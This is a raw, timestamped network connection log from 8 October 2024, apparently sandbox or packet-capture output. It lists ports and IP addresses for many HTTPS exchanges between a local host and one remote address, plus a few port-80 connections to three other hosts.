Oct 8, 2024 02:45:55.090253115 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.090253115 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.091790915 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.091834068 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.091897011 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.091917992 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.091943979 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.092241049 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.190985918 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191063881 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191082001 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191097021 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191111088 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191215992 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191339016 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191380024 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191442013 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191450119 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191459894 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191483974 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191665888 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191706896 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191761971 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191761971 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191771030 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191859961 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.191926956 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.191972971 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.192015886 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.192015886 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.192023993 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.192053080 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.194571972 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.194679022 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.194703102 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.194714069 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.194729090 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.235241890 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.235337973 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.235450983 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.237272978 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.237294912 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.237390995 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.237809896 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.237862110 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.237920046 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.239988089 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.240034103 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.240088940 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.240648031 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.240667105 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.240740061 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.240776062 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.241509914 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.241584063 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.241594076 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.241627932 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.241676092 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.241683006 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.241718054 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.241727114 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.241741896 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.331875086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:55.332757950 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:55.332863092 CEST	51297	80	192.168.2.4	45.132.206.251
Oct 8, 2024 02:45:55.893908978 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.896186113 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.896219015 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.896888971 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.896895885 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.897167921 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.897761106 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.897790909 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.898217916 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.898226023 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.913592100 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.915216923 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.915302038 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.915584087 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.915599108 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.934478998 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.934855938 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.934897900 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.935306072 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.935337067 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.946265936 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.946712971 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.946755886 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.947283983 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.947298050 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.992713928 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.992871046 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.993103027 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.993191004 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.993191004 CEST	51301	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.993238926 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.993266106 CEST	443	51301	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.995961905 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.996027946 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.996114969 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.996289015 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.996314049 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.997087955 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.997138977 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.997267962 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.997318029 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.997365952 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.997431040 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.997431040 CEST	51304	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.997468948 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.997498035 CEST	443	51304	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.999761105 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.999810934 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.999950886 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.000094891 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.000119925 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.018441916 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.018459082 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.018560886 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.018702984 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.018703938 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.018795967 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.018841982 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.018876076 CEST	51303	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.018892050 CEST	443	51303	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.020672083 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.020704985 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.020797014 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.020931005 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.020945072 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.040404081 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.040571928 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.040793896 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.040795088 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.040795088 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.042907000 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.042953968 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.043014050 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.043416977 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.043426037 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.049038887 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.049097061 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.049166918 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.049206018 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.049238920 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.049295902 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.049339056 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.049339056 CEST	51305	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.049365044 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.049386024 CEST	443	51305	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.050879002 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.050887108 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.050956011 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.051067114 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.051074028 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.345400095 CEST	51302	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.345455885 CEST	443	51302	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.651052952 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.651496887 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.651536942 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.651890993 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.651901960 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.672219992 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.672580004 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.672645092 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.672943115 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.672956944 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.686012030 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.686342001 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.686356068 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.686713934 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.686717987 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.715014935 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.715516090 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.715534925 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.715925932 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.715930939 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.719554901 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.719832897 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.719858885 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.720541000 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.720546961 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.752888918 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.753047943 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.753120899 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.753272057 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.753302097 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.753319979 CEST	51306	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.753328085 CEST	443	51306	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.755920887 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.755961895 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.756026983 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.756153107 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.756160975 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.775253057 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.775429010 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.775551081 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.777379990 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.777379990 CEST	51307	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.777385950 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.777426958 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.777446985 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.777470112 CEST	443	51307	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.777532101 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.777631044 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.777646065 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.788202047 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.788331985 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.788388014 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.790520906 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.790530920 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.790540934 CEST	51308	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.790544987 CEST	443	51308	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.792726994 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.792804956 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.792879105 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.793014050 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.793050051 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.815819979 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.815973043 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.816036940 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.816066980 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.816083908 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.816093922 CEST	51310	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.816098928 CEST	443	51310	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.817815065 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.817850113 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.817930937 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.818034887 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.818056107 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.819624901 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.819775105 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.819832087 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.819859982 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.819865942 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.819874048 CEST	51309	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.819876909 CEST	443	51309	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.822316885 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.822359085 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:56.822423935 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.822521925 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:56.822531939 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.422930002 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.423444986 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.423468113 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.423763990 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.423770905 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.449608088 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.450062037 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.450153112 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.450237036 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.450253963 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.451064110 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.451356888 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.451385975 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.451622963 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.451632023 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.460097075 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.460370064 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.460391045 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.460664988 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.460675955 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.463460922 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.463798046 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.463813066 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.463980913 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.463990927 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.535726070 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.535880089 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.535933971 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.535999060 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.536014080 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.536045074 CEST	51311	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.536051035 CEST	443	51311	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.538593054 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.538644075 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.538707972 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.538842916 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.538856030 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.547853947 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.547990084 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.548058987 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.548110962 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.548140049 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.548175097 CEST	51313	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.548188925 CEST	443	51313	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.549860954 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.549906015 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.549968958 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.550055027 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.550065041 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.553648949 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.553798914 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.553853035 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.553895950 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.553914070 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.553924084 CEST	51312	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.553927898 CEST	443	51312	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.555726051 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.555742025 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.555799961 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.555958986 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.555985928 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.559186935 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.559253931 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.559303045 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.559403896 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.559405088 CEST	51315	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.559437990 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.559463024 CEST	443	51315	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.561356068 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.561379910 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.561441898 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.561544895 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.561548948 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.562541008 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.562717915 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.562798023 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.562798023 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.562874079 CEST	51314	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.562911034 CEST	443	51314	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.564945936 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.564974070 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:57.565031052 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.565169096 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:57.565181017 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.197459936 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.197951078 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.197993994 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.198411942 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.198419094 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.209729910 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.209975004 CEST	51319	443	192.168.2.4	13.107.246.45
